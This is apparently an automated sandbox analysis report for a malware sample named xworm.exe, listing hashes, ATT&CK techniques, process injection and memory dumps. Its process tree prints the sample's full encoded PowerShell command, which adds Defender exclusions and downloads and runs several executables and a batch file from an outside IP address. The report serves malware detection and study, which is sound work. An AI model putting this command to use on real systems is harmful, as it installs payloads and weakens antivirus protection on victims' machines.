7face24db4aa43220ebc4d3afb6c739307f8b653c686b829fb1cb6091695c113

General

Target

xworm.exe
Size

227KB
MD5

f25ef9e7998ae6d7db70c919b1d9636b
SHA1

572146d53d0d7b3c912bc6a24f458d67b77a53fe
SHA256

7face24db4aa43220ebc4d3afb6c739307f8b653c686b829fb1cb6091695c113
SHA512

d8682cdb5876f9ffe6aa8856d5ffa8c168afd25fc927781d80d129491fa04aabf045f01d13ffb51e3db9773367cc00fce466e1ef7af11bfc3d7af13df06cc17c
SSDEEP

6144:YdAfHWAy5hne6jlVg1jCYRCuAOm6Tw8ym:Yqf7y5he6DkQutw8ym

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
19	1028	powershell.exe
26	1028	powershell.exe
27	1028	powershell.exe
28	1028	powershell.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1624 set thread context of 3668	1624	xworm.exe	87

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3480	1624	WerFault.exe	86

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xworm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AppLaunch.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1028	powershell.exe
1028	powershell.exe
4580	powershell.exe
4580	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1028	powershell.exe
Token: SeDebugPrivilege	4580	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1624 wrote to memory of 3668	1624	xworm.exe	87
PID 1624 wrote to memory of 3668	1624	xworm.exe	87
PID 1624 wrote to memory of 3668	1624	xworm.exe	87
PID 1624 wrote to memory of 3668	1624	xworm.exe	87
PID 1624 wrote to memory of 3668	1624	xworm.exe	87
PID 1624 wrote to memory of 3668	1624	xworm.exe	87
PID 1624 wrote to memory of 3668	1624	xworm.exe	87
PID 1624 wrote to memory of 3668	1624	xworm.exe	87
PID 3668 wrote to memory of 1028	3668	AppLaunch.exe	91
PID 3668 wrote to memory of 1028	3668	AppLaunch.exe	91
PID 3668 wrote to memory of 1028	3668	AppLaunch.exe	91
PID 1028 wrote to memory of 4580	1028	powershell.exe	99
PID 1028 wrote to memory of 4580	1028	powershell.exe	99
PID 1028 wrote to memory of 4580	1028	powershell.exe	99

C:\Users\Admin\AppData\Local\Temp\xworm.exe
"C:\Users\Admin\AppData\Local\Temp\xworm.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1624
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3668
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHcAeQBsACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHYAbQBtACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcASQBuAGoAZQBjAHQAaQBvAG4AIABlAHIAcgBvAHIAIQAgAEYAaQBsAGUAIABtAHUAcwB0ACAAYgBlACAAcwB0AGEAcgB0AGUAZAAgAGEAcwAgAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAIQAnACwAJwAnACwAJwBPAEsAJwAsACcARQByAHIAbwByACcAKQA8ACMAYwB1AGsAIwA+ADsAIgA7ADwAIwBsAG0AbQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAcQBsACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZABrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHgAegB5ACMAPgA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA4ADUALgAyADAAOQAuADEANgAwAC4ANwAwAC8AWQBlAGwAbABvAHcALgBlAHgAZQAnACwAIAA8ACMAdgBqAGoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB6AGMAcAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB1AGIAZAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBMAGkAYwBnAGUAdAAuAGUAeABlACcAKQApADwAIwB3AGwAZgAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA4ADUALgAyADAAOQAuADEANgAwAC4ANwAwAC8AYQB2AGQAaQBzAGEAYgBsAGUALgBiAGEAdAAnACwAIAA8ACMAZAB3AGgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGQAcwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB5AGwAdAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBBAHYAZABpAHMALgBiAGEAdAAnACkAKQA8ACMAcABmAG0AIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvADEAOAA1AC4AMgAwADkALgAxADYAMAAuADcAMAAvAEwAaQBjAGUAbgBzAGUAQwBoAGUAYwBrAGUAcgAuAGUAeABlACcALAAgADwAIwBiAHMAbAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHcAdgBzACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHMAYQB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEwAaQBjAGUAbgBjAGUAQwBoAGUAYwBrAC4AZQB4AGUAJwApACkAPAAjAHEAdQBzACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADgANQAuADIAMAA5AC4AMQA2ADAALgA3ADAALwBQAEwAVgAuAGUAeABlACcALAAgADwAIwBrAGcAZwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHMAagB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAYgBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFAATABUAGUAcwB0AC4AZQB4AGUAJwApACkAPAAjAGEAaQBsACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGYAeQBqACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB4AHEAbQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBMAGkAYwBnAGUAdAAuAGUAeABlACcAKQA8ACMAcwB2AGYAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdgBkAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAZwBsACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEEAdgBkAGkAcwAuAGIAYQB0ACcAKQA8ACMAagBpAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAaQByAG4AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGIAdwB6ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEwAaQBjAGUAbgBjAGUAQwBoAGUAYwBrAC4AZQB4AGUAJwApADwAIwB4AHcAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBpAGMAZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwBnAGgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUABMAFQAZQBzAHQALgBlAHgAZQAnACkAPAAjAHoAZgBsACMAPgA="
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1028
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#vmm#>[System.Windows.Forms.MessageBox]::Show('Injection error! File must be started as Administrator!','','OK','Error')<#cuk#>;
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4580
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1624 -s 260
  2⤵
  - Program crash
  PID:3480

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1624 -ip 1624
1⤵
PID:3652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o4vv325z.l2c.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1028-25-0x00000000074D0000-0x0000000007A74000-memory.dmp

Filesize
5.6MB

Download
memory/1028-50-0x0000000007390000-0x000000000739A000-memory.dmp

Filesize
40KB

Download
memory/1028-4-0x0000000074710000-0x00000000747BB000-memory.dmp

Filesize
684KB

Download
memory/1028-5-0x0000000004740000-0x0000000004776000-memory.dmp

Filesize
216KB

Download
memory/1028-6-0x0000000004DB0000-0x00000000053D8000-memory.dmp

Filesize
6.2MB

Download
memory/1028-7-0x0000000004CF0000-0x0000000004D12000-memory.dmp

Filesize
136KB

Download
memory/1028-26-0x00000000071B0000-0x00000000071E2000-memory.dmp

Filesize
200KB

Download
memory/1028-9-0x0000000005600000-0x0000000005666000-memory.dmp

Filesize
408KB

Download
memory/1028-24-0x00000000061D0000-0x00000000061F2000-memory.dmp

Filesize
136KB

Download
memory/1028-19-0x0000000005670000-0x00000000059C4000-memory.dmp

Filesize
3.3MB

Download
memory/1028-20-0x0000000005C90000-0x0000000005CAE000-memory.dmp

Filesize
120KB

Download
memory/1028-21-0x0000000005CB0000-0x0000000005CFC000-memory.dmp

Filesize
304KB

Download
memory/1028-22-0x0000000006E80000-0x0000000006F16000-memory.dmp

Filesize
600KB

Download
memory/1028-23-0x0000000006180000-0x000000000619A000-memory.dmp

Filesize
104KB

Download
memory/1028-61-0x0000000074710000-0x00000000747BB000-memory.dmp

Filesize
684KB

Download
memory/1028-57-0x0000000074710000-0x00000000747BB000-memory.dmp

Filesize
684KB

Download
memory/1028-8-0x0000000005590000-0x00000000055F6000-memory.dmp

Filesize
408KB

Download
memory/1028-38-0x00000000071F0000-0x000000000720E000-memory.dmp

Filesize
120KB

Download
memory/1028-29-0x0000000074710000-0x00000000747BB000-memory.dmp

Filesize
684KB

Download
memory/1028-39-0x0000000007210000-0x00000000072B3000-memory.dmp

Filesize
652KB

Download
memory/1028-27-0x0000000070600000-0x000000007064C000-memory.dmp

Filesize
304KB

Download
memory/1028-49-0x0000000008100000-0x000000000877A000-memory.dmp

Filesize
6.5MB

Download
memory/1028-3-0x0000000074710000-0x00000000747BB000-memory.dmp

Filesize
684KB

Download
memory/1028-51-0x00000000073F0000-0x0000000007401000-memory.dmp

Filesize
68KB

Download
memory/1028-52-0x0000000007410000-0x000000000741E000-memory.dmp

Filesize
56KB

Download
memory/1028-53-0x0000000007420000-0x0000000007434000-memory.dmp

Filesize
80KB

Download
memory/1028-54-0x0000000007460000-0x000000000747A000-memory.dmp

Filesize
104KB

Download
memory/1028-55-0x0000000007450000-0x0000000007458000-memory.dmp

Filesize
32KB

Download
memory/1028-58-0x0000000074710000-0x00000000747BB000-memory.dmp

Filesize
684KB

Download
memory/3668-0-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/3668-1-0x000000007476E000-0x000000007476F000-memory.dmp

Filesize
4KB

Download
memory/4580-56-0x0000000007830000-0x00000000078C2000-memory.dmp

Filesize
584KB

Download

Analysis

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